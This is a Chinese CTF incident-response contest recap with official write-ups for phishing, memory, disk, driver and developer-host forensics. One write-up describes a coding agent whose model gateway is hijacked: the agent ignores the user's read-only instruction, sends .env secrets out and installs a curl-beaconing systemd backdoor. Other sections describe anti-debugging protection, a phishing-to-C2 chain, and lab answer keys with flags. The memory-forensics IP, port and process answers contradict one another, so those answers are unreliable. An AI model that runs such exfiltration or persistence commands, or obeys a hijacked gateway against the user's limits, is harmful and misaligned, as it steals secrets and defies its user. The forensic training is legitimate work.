点击蓝字 关注我们
1.8月月赛排名
2026年8月Solar应急响应公益月赛已圆满结束。以下为最终WP提交情况
以下为8月月赛最终排名结果
月赛榜总分统计（积分相同排名并列）
2.平台介绍
天狩·网络安全竞赛平台是由 思而听网络科技有限公司 推出的一款Saas化部署的网络安全竞赛平台。平台可满足CTF、AWD、渗透赛等各种赛制的举办需要，可以满足万人同时竞赛的需要，支持最高全国级的网络安全大赛承办。具备竞赛中心、竞赛管理、练习场、试卷管理、赛题管理、人员管理、报名管理、数据中心、日志管理、防作弊机制、3D大屏等功能模块，能够全面、精准地考核选拔网络安全人才。
3.赛事回顾
本次应急响应挑战赛围绕钓鱼邮件分析、主机取证、新兴威胁排查和网络流量监测四类场景，构建了七条完整分析链：邮件头溯源与勒索家族匹配、Windows 内存镜像综合取证、钓鱼邮件多级跳转与 OAuth 劫持追踪、AI 开发环境模型网关劫持与持久化还原、Linux 磁盘镜像静态取证与横向移动溯源、驱动级 EPT 保护逆向分析，以及异常 TLS 外联的 JA3 指纹提取与 Suricata 规则编写。场景覆盖财务服务器钓鱼勒索、员工主机近源渗透、研发邮箱多级钓鱼劫持、开发环境 AI 助手凭据窃取、虚拟机横向入侵、驱动保护可疑文件逆向和无 SNI 异常加密外联监测。
核心考察点分四个层次：一是钓鱼邮件取证，通过 Received, SPF/DKIM/DMARC 认证、Return-Path 识别伪造发件平台，结合附件隐写提取与威胁情报匹配勒索家族及 MITRE 编号；二是主机取证，涵盖 Volatility 内存分析（文件提取、进程网络关联、隐藏用户、NTLM 哈希、事件日志溯源）和 Linux 磁盘镜像只读挂载与登录日志甄别；三是新兴威胁分析，包括恶意模型网关劫持 AI 助手下发命令、凭据外传与 systemd 持久化的日志还原，以及驱动级 EPT 读写执行分离保护的静态逆向与加密文档解密；四是网络流量监测，从背景流量中定位异常 TLS 会话，提取 JA3 指纹并编写 Suricata 规则经双 PCAP 回放验证。
这组题目的区分度不在于找到单一漏洞或 Flag，而在于选手能否将邮件取证、内存分析、日志溯源、流量解析、逆向工程和威胁情报串联起来，完成从异常发现、攻击链还原到证据提取与检测规则落地的完整闭环。
解题榜单
4.8月月赛WP
最后一封发票
一、题目说明
1.1 场景背景
2026 年 8 月 3 日上午，龙耐公司财务共享服务器 WIN-FS01 大面积文件被加密，各目录被投放勒索信 RECOVERY INFORMATION.txt。应急团队回溯发现，当天早上财务部员工小徐收到过一封"供应商催款"邮件。你作为威胁情报分析师，拿到两份关键材料：钓鱼邮件原件与勒索信原件，请据此还原攻击入口与攻击者信息。
1.2 任务目标
1.这封邮件的真实发信 IP 是什么？
flag格式：flag{IP}
2.邮件抵达网关时接受了三项身份认证，按照顺序提交这三项的认证结果，并附上这封邮件实际出自的邮件发送平台域名
flag格式：flag{身份认证1结果_身份认证2结果_身份认证3结果_平台域名}，全小写
3.提取邮件附件的原始二进制内容，计算其 SHA256 值，以及查找其中隐藏的字段。
flag格式：flag{SHA256值_字段}
4.根据勒索信判断勒索家族是哪个家族。
flag格式：flag{家族名称}
5.综合事件背景，还原攻击链的对应 MITRE ATT&CK 初始访问战术下的子技术编号以及影响战术下的技术编号。
flag格式：flag{子技术编号_技术编号}
1.3 Flag 格式说明
共 5 个flag
二、环境信息
2.1 靶场架构
2.2 部署方式
2.3 环境依赖说明
三、靶场附件清单
四、考点设计
4.1 排查路径
排查路径
邮件文件 (.eml)
│
├── 1. 查看邮件头（Received / X-Originating-IP）
│ → 真实发信 IP：103.75.190.28
│
├── 2. 查看 Authentication-Results
│ → SPF=fail, DKIM=none, DMARC=fail
│ → 顺序结果：fail_none_fail
│
├── 3. 查看 Return-Path 和 Message-ID
│ → 均指向 phishingmail.xyz
│ → 发送平台域名：phishingmail.xyz
│
├── 4. 提取附件（Base64 编码）
│ → base64 解码得到原始二进制
│ → 计算 SHA256：
│ d72ee4edfcd1c44ea1cfd5d1bce424a23f75de53bff3da44cd95088fcdac5d70
│
├── 5. 分析附件二进制尾部隐藏数据
│ → 尾部 hex：34 6A 2E 05 6E 34 05 6B 34 2C 6A 6B 39 3F
│ → 单字节 XOR 0x5A 解密
│ → ASCII：n0t_4n_1nv01ce
│
├── 6. 提取勒索信内容（邮件正文或附件内的留空）
│ → 发现联系邮箱：datahelper@cyberfear.com
│ → 在威胁情报平台（ solarsecurity.cn）查询
│ → 对应勒索家族：weaxor
│
└── 7. 结合攻击场景映射 MITRE ATT&CK
→ 钓鱼附件投递：T1566.001
→ 加密文件影响：T1486
→ 最终 flag：T1566.001_T1486
4.2 考核点清单
4.3 干扰项设计
题目4 的 隐藏字段名称 n0t_4n_1nv01ce需要进行 XOR 爆破密钥，干扰程度为：低。
4.4 前后题关联与引导
看到 From: CEO → 但 Return-Path 暴露 phishingmail.xyz → 查看认证 → 三项失败 → 提取附件 → 发现 PDF 伪装 →发现尾部数据进行 XOR 爆破→ 解密得到 n0t_4n_1nv01ce（“不是发票”）→ 完整查看勒索信 → 提取邮箱 →
威胁情报查得 weaxor → 映射到 T1566.001 + T1486 → 全部完成
五、Flag 及标准答案
六、官方 WriteUp
6.1 解题工具清单
6.2 解题步骤
1.这封邮件的真实发信 IP 是什么？
flag格式：flag{IP}
flag{103.75.190.28}
010 打开 eml 文件，可以发现邮件头里的 Received 链:
Received: from mail.phishingmail.xyz (unknown [103.75.190.28])
by mx.longnai.com (Postfix) with ESMTP id 7B33C1A2
for <xu@longnai.com>; Mon, 03 Aug 2026 09:05:19 +0000
同时也可以直接看 X-Originating-IP: [103.75.190.28]
2.邮件抵达网关时接受了三项身份认证，按照顺序提交这三项的认证结果，并附上这封邮件实际出自的邮件发送平台域名
flag格式：flag{身份认证1结果_身份认证2结果_身份认证3结果_平台域名}，全小写
flag{fail_none_fail_phishingmail.xyz}
查看 Authentication-Results: spf=fail; dkim=none; dmarc=fail，按照三个身份认证的顺序填写
From 显示名和地址都可以伪造，Return-Path 和 Message-ID 才是投递系统的真实信息：Return-Path: <bounce-88231@phishingmail.xyz>，Message-ID 也是 @phishingmail.xyz，两处印证域名为：phishingmail.xyz
3.提取邮件附件的原始二进制内容，计算其 SHA256 值，以及查找其中隐藏的字段。
flag格式：flag{SHA256值_字段}
flag{d72ee4edfcd1c44ea1cfd5d1bce424a23f75de53bff3da44cd95088fcdac5d70_n0t_4n_1nv01ce}
附件在 eml 中以 Base64 形式存储，从 eml 中提取附件的 Base64（两个 boundary 之间的内容），base64 解码之后还原为二进制后计算 SHA256
结尾的数据：34 6A 2E 05 6E 34 05 6B 34 2C 6A 6B 39 3F 单字节 XOR 0x5A 解密
data = "34 6A 2E 05 6E 34 05 6B 34 2C 6A 6B 39 3F"
data = bytes.fromhex(data)
key = 0x5A
result = bytes(b ^ key for b in data)
print("ASCII:", result.decode("ascii"))
n0t_4n_1nv01ce
4.根据勒索信判断勒索家族是哪个家族
flag格式：flag{家族名称}
flag{weaxor}
在 https://www.solarsecurity.cn/detection.html 界面根据勒索信中的邮箱（datahelper@cyberfear.com）进行查找家族，家族名：weaxor。
5.综合事件背景，还原攻击链的对应 MITRE ATT&CK 初始访问战术下的子技术编号以及影响战术下的技术编号。
flag格式：flag{子技术编号_技术编号}
flag{T1566.001_T1486}
钓鱼邮件投递恶意附件 = T1566.001 Spearphishing Attachment（鱼叉式钓鱼附件）；批量加密文件 = T1486 Data Encrypted for Impact。
近源渗透取证综合排查
一、题目说明
1.1 场景背景
近期临近安全检查，单位中小华的电脑莫名其妙一直连接着一个IP，疑似被前两天到公司来访的陌生人近源渗透了，作为专业的网络安全工程师，你是否可以帮他排查出一些问题？
1.2 任务目标
针对受害主机内存镜像进行综合取证排查，完成以下8项任务：
取出真实的flag1并提交； 取出黑客植入的软件的名称； 获取黑客植入软件的TCP连接地址（黑客服务器回连IP地址）； 获取黑客植入软件的TCP连接端口； 获取黑客新建用户的用户名称； 获取黑客新建用户密码的NTLM； 获取黑客创建新用户的时间； 获取快照的时间。
1.3 Flag 格式说明
flag{xxxxxxxx}，共8个Flag。
二、环境信息
2.1 靶场架构
Windows Server 2016 受害主机（含内存镜像 memory.vmem 及快照），攻击者通过近源渗透方式植入后门软件并创建隐藏用户。
2.2 部署方式
2.3 环境依赖说明
三、靶场附件清单
四、考点设计
4.1 排查路径
内存文件扫描 → 提取可疑文件 → 网络连接分析 → 系统用户排查 → 事件日志核查 → 快照信息核查
4.2 考核点清单
4.3 干扰项设计
镜像中存在多个flag相关文件（如 flag1.txt、flag.txt 等），其中部分为无效字符或干扰文件，需甄别真实flag。
4.4 前后题关联与引导
8个任务围绕同一受害主机展开，从内存取证（flag1）入手，逐步引导至植入软件名称、回连地址与端口、隐藏用户及其凭据、创建时间，最终获取快照时间，形成完整近源渗透事件链。
五、Flag 及标准答案
六、官方 WriteUp
6.1 解题工具清单
6.2 解题步骤
任务1：取出真实的flag1
使用 Volatility 3 对内存镜像进行文件扫描，查找与 flag 相关的文件：
vol -f memory.vmem windows.filescan.FileScan | grep flag
定位到 Users\lab\Documents\flag1.txt 等文件后，使用 dumpfiles 提取文件内容：
python vol.py -f memory.vmem windows.dumpfiles.DumpFiles --virtaddr 0xdf0a3ed88aa0
提取得到真实 flag：flag{12s1-4bo1-3312-k8d1}
任务2：取出黑客植入的软件名称
查看 Windows Server 2016 快照的网络连接信息，发现多个TCP连接的远程地址为 192.168.0.199，远程端口为 8080，PID 为 5236，进程名称为 tftpserver.exe，进一步确认植入软件为 TcpKeepConnected.exe：
flag{TcpKeepConnected.exe}
任务3：获取黑客植入软件的TCP连接地址
结合任务2的网络连接列表，TCP连接的远程地址为 10.0.225.0：
flag{10.0.225.0}
任务4：获取黑客植入软件的TCP连接端口
结合任务2的网络连接列表，TCP连接的远程端口为 8000：
flag{8000}
任务5：获取黑客新建用户的用户名称
通过快照信息中的用户列表核查，发现隐藏用户 hacker$（解法不唯一，下图亦可）：
flag{hacker$}
任务6：获取黑客新建用户密码的NTLM
在镜像账号列表中查看 hacker$ 账号的NTLM值：
flag{a70ea5f4fb022e1b1b890c54e33d3eb5}
任务7：获取黑客创建新用户的时间
通过 Windows 事件查看器查找事件ID 4720（用户账户管理），记录时间为 2026年8月5日 12:53:08：
flag{2026/8/5 12:53:08}
任务8：获取快照的时间
获取镜像信息后查看 SystemTime 字段，默认即为获取快照的时间：
flag{2026-08-05 05:05:07+00:00}
澜生生物科技钓鱼事件（ 第一期《入局》）
一、题目说明
1.1 场景背景
澜生生物是一家位于山东济南齐鲁软件园的创新药研发企业，当前核心资产是处于三期临床阶段的 LS-818。研发人员江书禾负责 LS-818 项目的 M3 药理毒理资料，工作站中保存着临床数据、申报材料和相关办公记录。
2026 年 7 月 18 日，江书禾在出差途中发现邮箱中出现一封疑似快递电子发票邮件。她没有点击邮件中的链接，而是将邮件情况转给了信息安全部的程瑜。程瑜随后按照应急流程为 SOC 分析师开通临时排查权限。
选手扮演澜生生物 SOC 安全运营人员，需要在不改变原始证物的前提下，调查：
邮件投递
→ ESP 跟踪跳转
→ HTTP Refresh 中间跳板
→ LogoKit 风格登录页
→ Adobe Sign 伪装页面
→ OAuth URL 参数
→ 攻击者 C2
→ C2 密文
1.2 任务目标
1.3 Flag 格式说明
flag{xxxxxxxx}，共 11 个 Flag（10 个任务 + 1 个彩蛋）。全部为静态提交：访问网页、登录邮箱、查看邮件原文、跟随跳转、查看响应头和进入 C2 都是调查动作，不是单独的校验题；不使用 check 脚本、VirtIO、SYSTEM 校验服务或 stdout 1/0。
二、环境信息
2.1 靶场架构
单台 Windows 10 LTSC 工作站靶机，自包含全部攻击基础设施模拟（所有域名经 hosts 本地解析到 127.0.0.1，无需外网）：
z关键域名：
2.2 部署方式
2.3 环境依赖说明
靶机内置 Microsoft Edge 浏览器（F12 DevTools 用于抓包与响应头分析）； 靶机工具箱内置 CyberChef 离线版 v9.x（编码解码）； 无外网依赖，全部域名本地解析； TLS 入口对 globaltradebd.com启用 JA3 客户端指纹过滤：curl 等命令行工具（无 GREASE）握手被重置，浏览器与 PowerShell（SChannel）正常访问——选手应使用浏览器取证；全部解题步骤仅使用系统内置或免费开源工具完成。
三、靶场附件清单
必传。附件不全将直接影响审核"完整性"得分。
四、考点设计
4.1 排查路径
RDP 接入工作站
├─ 办公材料 → 员工工号【任务1】
└─ Webmail 登录 → 收件箱（6 封）
└─ 韵捷发票邮件【任务2】
├─ 邮件头 From：显示名伪装 vs 真实地址【任务3】
├─ 邮件原文 Message-ID：真实发件基础设施域【任务4】
└─ 正文链接 → ESP 跟踪域
└─ 302 Location → webpoint.cl
├─ URL 路径 base64 段 → 受害者邮箱【任务5】
└─ Refresh 响应头【任务6】
└─ globaltradebd.com 落地页
├─ Last-Modified 响应头【任务7】
├─ clearbit 品牌资源【任务8】
└─ Adobe Sign 入口 → OAuth URL
├─ client_id 前 8 位【任务9】
├─ redirect_uri vs uri 诱饵【任务10】
│ └─ c2.nightbloom.top 控制台
│ └─ 密文（base64→hex→ASCII）【彩蛋】
4.2 考核点清单
4.3 干扰项设计
4.4 前后题关联与引导
五、Flag 及标准答案
六、官方 WriteUp
6.1 解题工具清单
6.2 解题步骤
步骤一：接入工作站，确认受害员工身份（任务 1）
使用 PVE 平台提供的 RDP 账号进入 Windows：
Username: SandBox
Password: qweasd
打开桌面上的「澜生办公桌面」，熟悉工作台环境：
打开桌面或 Documents 中的 报销清单_202606.txt，查看文件头部的人员信息：
澜生生物 · 6月费用报销清单
姓名：江书禾 部门：研发部 工号：RD-0317
解题逻辑：不需要从系统登录用户名推断员工身份。PVE 的 SandBox 只是平台接入账户，办公材料中的 RD-0317 才是江书禾的业务身份标识。
答案：
flag{RD-0317}
步骤二：登录邮箱，定位可疑邮件（任务 2）
在桌面打开「邮箱」，或访问：
https://mail.lanshenbio.com
使用邮箱身份登录：
Account: shuhe@lanshenbio.com
Password: Shuhe@2026#
在收件箱（共 6 封）中找到「韵捷速运电子发票」邮件，从主题或正文读取运单号：
韵捷速运-电子发票服务-【运单号：S_9KQ472MX】客户ID：19XJDO87204
答案：
flag{S_9KQ472MX}
步骤三：识破显示名伪装，提取真实发件地址（任务 3）
在 Roundcube 打开韵捷电子发票邮件，查看邮件顶部 From 字段；如果界面只显示名称，打开邮件源代码确认完整地址。
邮件原始头为：
From: =?utf-8?b?6Z+15o236YCf6L+Q55S15a2Q5Y+R56Wo?= <invoice@logivex.group>
编码部分是显示名（解码后为"韵捷速运电子发票"），尖括号内是实际邮箱 invoice@logivex.group。
解题逻辑：显示名是品牌伪装，但实际发件地址位于 logivex.group，并非快递企业常规业务域。这是识别伪装的重要证据。
答案：
flag{invoice@logivex.group}
步骤四：溯源发件基础设施域（任务 4）
在 Roundcube 邮件详情中打开"查看源代码 / Show Source"，搜索 Message-ID，读取其域部分：
Message-ID: <20260718130500.abc@mail.logivex.group>
@ 后面的发件基础设施域为 mail.logivex.group。
解题逻辑：需要区分 From 地址（invoice@logivex.group）与 Message-ID 基础设施域（mail.logivex.group）——题目要求的是发件基础设施域，所以答案不是 From 地址中的根域。
答案：
flag{mail.logivex.group}
步骤五：还原第一跳，解出受害者指纹（任务 5）
在邮件正文中找到链接：
http://tracking.lounge.logivex.group/tracking/click?d=Y4kP9mZxQ7vR2nLw8sTbNcHfJdKeVgAa1
使用 Edge DevTools：按 F12 → 打开 Network → 勾选 Preserve log → 点击邮件链接 → 选中 tracking/click 请求 → 查看 Response Headers 中的 Location。
第一跳 Location 为：
https://webpoint.cl/css/a8f3kq9wpxz2/c2h1aGVAbGFuc2hlbmJpby5jb20=
取路径最后一段 c2h1aGVAbGFuc2hlbmJpby5jb20=，使用 CyberChef 的 From Base64，或 PowerShell 解码：
[Text.Encoding]::UTF8.GetString(
[Convert]::FromBase64String('c2h1aGVAbGFuc2hlbmJpby5jb20=')
)
关键证据：
c2h1aGVAbGFuc2hlbmJpby5jb20=
↓ Base64
shuhe@lanshenbio.com
答案：
flag{shuhe@lanshenbio.com}
步骤六：识别中间跳板机制（任务 6）
在 Network 面板中继续观察 webpoint.cl 请求，查看该请求的 Response Headers，注意状态码和响应头的组合。
webpoint.cl 返回：
HTTP/1.1 200 OK
Refresh: 0; url=https://globaltradebd.com/css/generalweb/index.html
它不是普通的：
HTTP/1.1 302 Found
Location: ...
解题逻辑：这里使用的是 HTTP Refresh 响应头，让浏览器在等待时间后前往下一站。该方式和常规 30x 跳转不同，也是邮件沙箱绕过链中的关键特征。
答案：
flag{Refresh}
步骤七：落地页部署时间取证（任务 7）
访问最终落地页：
https://globaltradebd.com/css/generalweb/index.html
使用浏览器 DevTools：F12 → Network → 刷新页面 → 选中 index.html → Headers → Response Headers 的 Last-Modified。
如果使用 PowerShell，可执行：
$r = Invoke-WebRequest 'https://globaltradebd.com/css/generalweb/index.html'
-UseBasicParsing
$r.Headers['Last-Modified']
关键证据：
Last-Modified: Mon, 27 Oct 2025 19:28:20 GMT
题目提交格式使用不带 GMT 的时间值 2025-10-27 19:28:20。
JA3 取证障碍说明：对 globaltradebd.com 的 TLS 入口实现了客户端指纹过滤。curl-like 客户端可能直接出现 TLS reset；浏览器和 PowerShell 使用 SChannel，通常可以正常访问。这不是题目答案本身，而是访问证据时遇到的环境特征。
答案：
flag{2025-10-27 19:28:20}
步骤八：识别品牌伪装服务（任务 8）
在落地页打开 DevTools，在 Network 中筛选 logo，观察页面加载的品牌资源；或在 Elements 中查看 Logo 元素。
关键资源域为 logo.clearbit.com。页面样式中包含：
content:url('https://logo.clearbit.com/lanshenbio.com')
同时页面还准备了 thum.io 背景和 inboxpost fallback 资源——页面使用了本地化资源，但保留了 LogoKit 原本的资源调用结构。
解题逻辑：LogoKit 会根据受害企业域名自动获取品牌 Logo，使同一套落地页能够伪装成不同企业的登录页面。这里要提交的是品牌 Logo 服务名，而不是 globaltradebd.com。
本题不要求向钓鱼页提交真实凭据。真实凭据提交只属于受控环境行为，不是评分条件。
答案：
flag{clearbit}
步骤九：提取恶意 OAuth 应用标识（任务 9）
在落地页底部点击 Adobe Sign 入口，进入待签署文档页面：
https://globaltradebd.com/css/generalweb/sign.html
找到"审阅并签署"按钮。不需要立即点击；可以右键复制链接地址，或使用 DevTools Elements 查看 <a> 的完整 href。找到参数：
client_id=7a3e9c2b-8f14-4d62-9e2a-c4b71f083a5e
取前 8 位 7a3e9c2b。
解题逻辑：OAuth URL 中的 client_id 是应用标识。应用显示成 Adobe Acrobat Sign，但应用 ID 是攻击者控制的恶意应用。
答案：
flag{7a3e9c2b}
步骤十：解码定位真实 C2（任务 10）
继续查看完整 OAuth URL。找到 URL 编码后的参数：
redirect_uri=https%3A%2F%2Fc2.nightbloom.top%2Fcgi_bin%2F
URL 解码：
https://c2.nightbloom.top/cgi_bin/
注意另一个参数 uri=``https://siemens.com——它是品牌诱饵，不是真实 C2。
点击 Review and Sign 后，浏览器会进入微软风格的错误页面：
AADSTS50059: No tenant-identifying information found...
这个错误页是预期过渡。C2 已经在原始 OAuth URL 的 redirect_uri 中，不需要依赖跳转响应暴露。主动访问：
https://c2.nightbloom.top/cgi_bin/
解题逻辑：调查动作是——观察 OAuth URL → 区分 redirect_uri 和 uri → URL decode redirect_uri → 得到真实 C2。
答案：
flag{c2.nightbloom.top/cgi_bin/}
步骤十一：解开 NIGHTBLOOM 密文（彩蛋）
打开 https://c2.nightbloom.top/cgi_bin/，找到密文：
NTk0NjM4MzEzODJkNTA0ZTQ2NTIyZDM4NzMzMzZl
在 CyberChef 中依次添加：
From Base64
From Hex
第一步得到中间字符串：
59463831382d504e46522d3873336e
第二步得到明文：
YF818-PNFR-8s3n
PowerShell 解法：
$stage1 = [Text.Encoding]::UTF8.GetString(
[Convert]::FromBase64String('NTk0NjM4MzEzODJkNTA0ZTQ2NTIyZDM4NzMzMzZl')
)
$$bytes = for ($$i = 0; $$i -lt $$stage1.Length; $$i += 2) {
[Convert]::ToByte($$stage1.Substring($i, 2), 16)
}
[Text.Encoding]::ASCII.GetString($bytes)
答案：
flag{YF818-PNFR-8s3n}
6.3 完整攻击链还原
韵捷电子发票邮件
└─ From: invoice@logivex.group
└─ Message-ID: @mail.logivex.group
└─ tracking.lounge.logivex.group/tracking/click
└─ HTTP 302
└─ webpoint.cl
└─ HTTP 200 + Refresh Header
└─ globaltradebd.com
├─ LogoKit / Clearbit 品牌化
└─ sign.html / Adobe Sign 诱饵
└─ login.microsoftonline.com OAuth URL
├─ client_id = 7a3e9c2b...
├─ redirect_uri = c2.nightbloom.top/cgi_bin/
└─ uri = siemens.com（诱饵）
└─ NIGHTBLOOM C2
└─ YF818-PNFR-8s3n
关键 IOC 汇总：
开发机异常排查
一、题目说明
1.1 场景背景
用一段话描述业务场景，要求贴合实际项目、应急响应或安全运营场景。 示例：某企业官网遭篡改，运维发现首页被植入暗链，现要求安全人员对该服务器进行排查取证……
近期安全运营人员发现开发环境存在异常行为，请排查可疑主机
1.2 任务目标
向参赛者发布的任务描述，写清楚要做什么、提交什么。
1、泄密文件上传地址
2、后门文件完整路径
1.3 Flag 格式说明
示例：flag{xxxxxxxx}，共＿个Flag。
flag{http://telemetry:8080/upload}
flag{/home/developer/.config/systemd/user/pkg-cache.service}
二、环境信息
2.1 靶场架构
描述场景整体架构（如涉及站点篡改，须给出站点架构），建议附架构图或拓扑图。
（在此填写，可插入图片）
2.2 部署方式
2.3 环境依赖说明
凡依赖特定环境或版本的，必须在此写明。示例：解题脚本需 Python 3.8+；样本需在 Windows 10 虚拟机中运行；涉及VMware版本要求的注明版本号。
三、靶场附件清单
必传。附件不全将直接影响审核"完整性"得分。
四、考点设计
4.1 排查路径
必填。先画排查路径再出题——与项目交付的攻击路径图一致，标注每一步的排查动作、发现和走向。可用流程图或编号列表。
考察对大模型工具claudecode日志的分析
4.2 考核点清单
4.3 干扰项设计
说明设置了哪些干扰项、干扰程度如何把握（避免为难而难）。
（在此填写）
4.4 前后题关联与引导
说明本题 Flag 或结论如何引导至下一题，或如何承接上一题。
（在此填写）
五、Flag 及标准答案
六、官方 WriteUp必填。按排查路径逐步写出解题过程，含命令、截图。所有步骤必须使用开源或免费工具完成，并注明工具名称及版本。
⏺ 排查结论
1、泄密文件上传地址
http://telemetry:8080/upload
2、后门文件所在位置
/home/developer/.config/systemd/user/pkg-cache.service
事件还原
从 /home/developer/.claude/history.jsonl 和会话记录 ~/.claude/projects/-workspace-inventory-service/7ccacbfe-….jsonl
还原的攻击链：
1. 入口：环境通过 /etc/profile.d/llm-gateway.sh 把 ANTHROPIC_BASE_URL 指向了伪造的模型网关
http://model-gateway:8000（伪装模型 deepseek-v4-pro）。developer 用 claude --dangerously-skip-permissions
运行时被恶意模型劫持，用户明确要求"只读诊断、不得收集凭据、不得传输数据"，但恶意模型仍下发了两条恶意 Bash
命令并自动执行。
2. 窃密（时间 2026-07-18 09:11）：把 /workspace/inventory-service/.env（含
INVENTORY_DB_PASSWORD、DEPLOY_TOKEN、CUSTOMER_EXPORT_KEY）和 config/import.json 打包成 /tmp/.diag.tgz，用伪装 UA
node-diagnostics/1.4 POST 到 http://telemetry:8080/upload，随后删除临时目录和压缩包清理痕迹。
3. 持久化后门：写入 user 级 systemd 单元 ~/.config/systemd/user/pkg-cache.service，伪装成 "Package metadata cache
refresh"，执行 curl -s -m 3 http://telemetry:8080/beacon 定期回连 beacon。
建议处置：轮换 .env 中全部三个凭据、删除后门 service 文件、封锁/下线 telemetry:8080 和
model-gateway:8000，并审计该网关上的完整会话日志确认外泄范围。
必填。按排查路径逐步写出解题过程，含命令、截图。所有步骤必须使用开源或免费工具完成，并注明工具名称及版本。
⏺ 排查结论
1、泄密文件上传地址
http://telemetry:8080/upload
2、后门文件所在位置
/home/developer/.config/systemd/user/pkg-cache.service
事件还原
从 /home/developer/.claude/history.jsonl 和会话记录 ~/.claude/projects/-workspace-inventory-service/7ccacbfe-….jsonl
还原的攻击链：
1. 入口：环境通过 /etc/profile.d/llm-gateway.sh 把 ANTHROPIC_BASE_URL 指向了伪造的模型网关
http://model-gateway:8000（伪装模型 deepseek-v4-pro）。developer 用 claude --dangerously-skip-permissions
运行时被恶意模型劫持，用户明确要求"只读诊断、不得收集凭据、不得传输数据"，但恶意模型仍下发了两条恶意 Bash
命令并自动执行。
2. 窃密（时间 2026-07-18 09:11）：把 /workspace/inventory-service/.env（含
INVENTORY_DB_PASSWORD、DEPLOY_TOKEN、CUSTOMER_EXPORT_KEY）和 config/import.json 打包成 /tmp/.diag.tgz，用伪装 UA
node-diagnostics/1.4 POST 到 http://telemetry:8080/upload，随后删除临时目录和压缩包清理痕迹。
3. 持久化后门：写入 user 级 systemd 单元 ~/.config/systemd/user/pkg-cache.service，伪装成 "Package metadata cache
refresh"，执行 curl -s -m 3 http://telemetry:8080/beacon 定期回连 beacon。
建议处置：轮换 .env 中全部三个凭据、删除后门 service 文件、封锁/下线 telemetry:8080 和
model-gateway:8000，并审计该网关上的完整会话日志确认外泄范围。
虚拟机静态取证
一、题目说明
1.1 场景背景
国内某公司，一台运行于 ESXi 虚拟化平台上的 Ubuntu 虚拟机下班后遭受入侵。安全团队已将虚拟机硬盘复制下载，获得了一份磁盘镜像文件。现需对这份磁盘镜像进行静态取证分析。
1.2 任务目标
任务一：黑客横向使用的ip和用户
找出该虚拟机是被那台主机横向过来的，黑客使用的那个账户。
任务二：该账号建立的病毒文件（以 MD5 值提交）
排查黑客在系统内创建的恶意病毒文件，请定位该文件，并计算其 MD5 哈希值作为提交答案。
1.3 Flag 格式说明
提交格式flag{账户@ip地址}
提交格式flag{32位大写MD5}
二、环境信息
2.1 靶场架构
描述场景整体架构（如涉及站点篡改，须给出站点架构），建议附架构图或拓扑图。
裸机ubuntu
2.2 部署方式
2.3 环境依赖说明
凡依赖特定环境或版本的，必须在此写明。示例：解题脚本需 Python 3.8+；样本需在 Windows 10 虚拟机中运行；涉及VMware版本要求的注明版本号。
三、靶场附件清单
必传。附件不全将直接影响审核"完整性"得分。
四、考点设计
4.1 排查路径
必填。先画排查路径再出题——与项目交付的攻击路径图一致，标注每一步的排查动作、发现和走向。可用流程图或编号列表。
挂载虚拟机镜像---使用工具读取文件系统---找到ubuntu登录日志---找到对应账户历史命令记录--取出恶意文件分析
4.2 考核点清单
4.3 干扰项设计
说明设置了哪些干扰项、干扰程度如何把握（避免为难而难）。
该服务器被多个用户登录、需要根据题目确认那个是被黑客利用的账户。
4.4 前后题关联与引导
说明本题 Flag 或结论如何引导至下一题，或如何承接上一题。
找到黑客利用那个账户登录的，才可以找到对应账户的历史记录定位恶意文件
五、Flag 及标准答案
六、官方 WriteUp
6.1 解题工具清单
6.2 解题步骤
步骤一：黑客横向使用的ip和用户
题目描述：
找出该虚拟机是被那台主机横向过来的，黑客使用的那个账户。
提交格式flag{账户@ip地址}
使用软件将镜像以只读模式挂载到本地
使用第三方硬盘读取工具读取挂载的分区
读取日志文件分析
所以第一题答案为flag{ming.li@10.0.100.120}
步骤二：该账号建立的病毒文件（以 MD5 值提交）
题目描述：
排查黑客在系统内创建的恶意病毒文件，请定位该文件，并计算其 MD5 哈希值作为提交答案。
提交格式flag{32位大写MD5}
查找ming.li的历史记录
找到对应文件提取出来
计算MD5值
第二题答案为flag{9AE68876E5B62068B97CD25EDDC0C1BA}
suspicious_executable
一、题目说明
1.1 场景背景
小赵得到了一个可疑的exe文件,一个驱动文件和一个被加密的文档.当他运行exe的时候,发现exe卡住了,无法执行下去.使用ida打开后,发现整个程序的指令只有一条跳往自身的跳转,其他都是乱码.但是他发现,如果程序运行的时候,驱动也在运行,文件就会被加密.学过驱动的他马上意识到,秘密一定在那个驱动里.
1.2 hint
读写/执行分离
因为题目较简单,且考虑到ai的使用,所以一般无需提供hint.
二、 环境依赖说明
本题目可在出题者的vmware上的win10 1709 x86系统中稳定运行,条件:cpu必须为单物理核心和单逻辑核心,内存必须为4GB,且必须开启Intel VT-x和EPT!
三、出题思路
本题和五月份的任意门那题一样使用了驱动加载加密的shellcode,为的是防止ai过快解出.加载器相对于五月份的版本有一些小的更改,修复了几个蓝屏bug,vt框架也是基于5月份的源码.这题使用了读写/执行分离保护exe的text段,具体方法是先将exe的text段加密,文件头中加上特征码,然后驱动建立线程遍历pid,找到对应用户态存在特征码的进程并拷贝text段的第一个页(也就只有一个页,因为如果有多个页的话会导致后面未执行到的页被换入磁盘,无法获取物理地址,进而无法挂载假页,除非将那些页锁定),解密后生成假页,然后将原text段的第一个页设为无访问权限,当遇到执行的时候触发ept异常,将解密后的假页挂载并将权限改为仅执行(需要cpu支持,不过大部分cpu都行),然后等待读写(一般是调试器,杀软之类)的时候挂上原先的真页,并将权限改为仅读写,再等待执行,以此不断循环.这样能够导致所有读写操作得到的都是原先未解密的页,起到了保护的作用,导致所有调试器都无法调试,连没有使用vt的杀软都无法扫描到真正的指令.开启vt后,再创建一个线程不断地扫描pid,直到被保护进程结束,然后停止一切操作.因为如果不停止的话,这样之后如果有物理页刚好分配在原来的text段的物理地址,这时候再挂上假页,就会导致未定义行为.对于exe,加密算法十分简单,未使用非对称加密算法,仅使用了初始值变异的chacha20算法加密文件.最后在加载器和exe里面加上了大量自创(应该是,至少网上找不到)的花指令,但是只有几种,可通过模式匹配轻易去除.
四、Flag 及标准答案
flag{0K_X1a0_zH40_Y0u_kN0w_EPT_a_L07@solarsec_202608}
五、官方 WriteUp
题目文件结构:
5h311c0de 为加密的shellcode文件.
flag.pptx.solar 为被加密的flag文件.
s0l4r_dr1v3r.sys 为驱动文件.
suspicious_executable.exe 为被保护的exe文件.
参考解题过程:
还是一样采用静态解法,因为这样就够了.毕竟大家都是拿ai做的,而且我认为静态更加富有挑战性.#(滑稽)
首先浏览文件,先打开5h311c0de.
加密的.
ida打开exe文件,发现和题面说得一样,只有一条死循环jmp.
ida打开驱动文件,发现大量花指令.先寻找他们的规律.
经过寻找,可以发现有两种花指令.
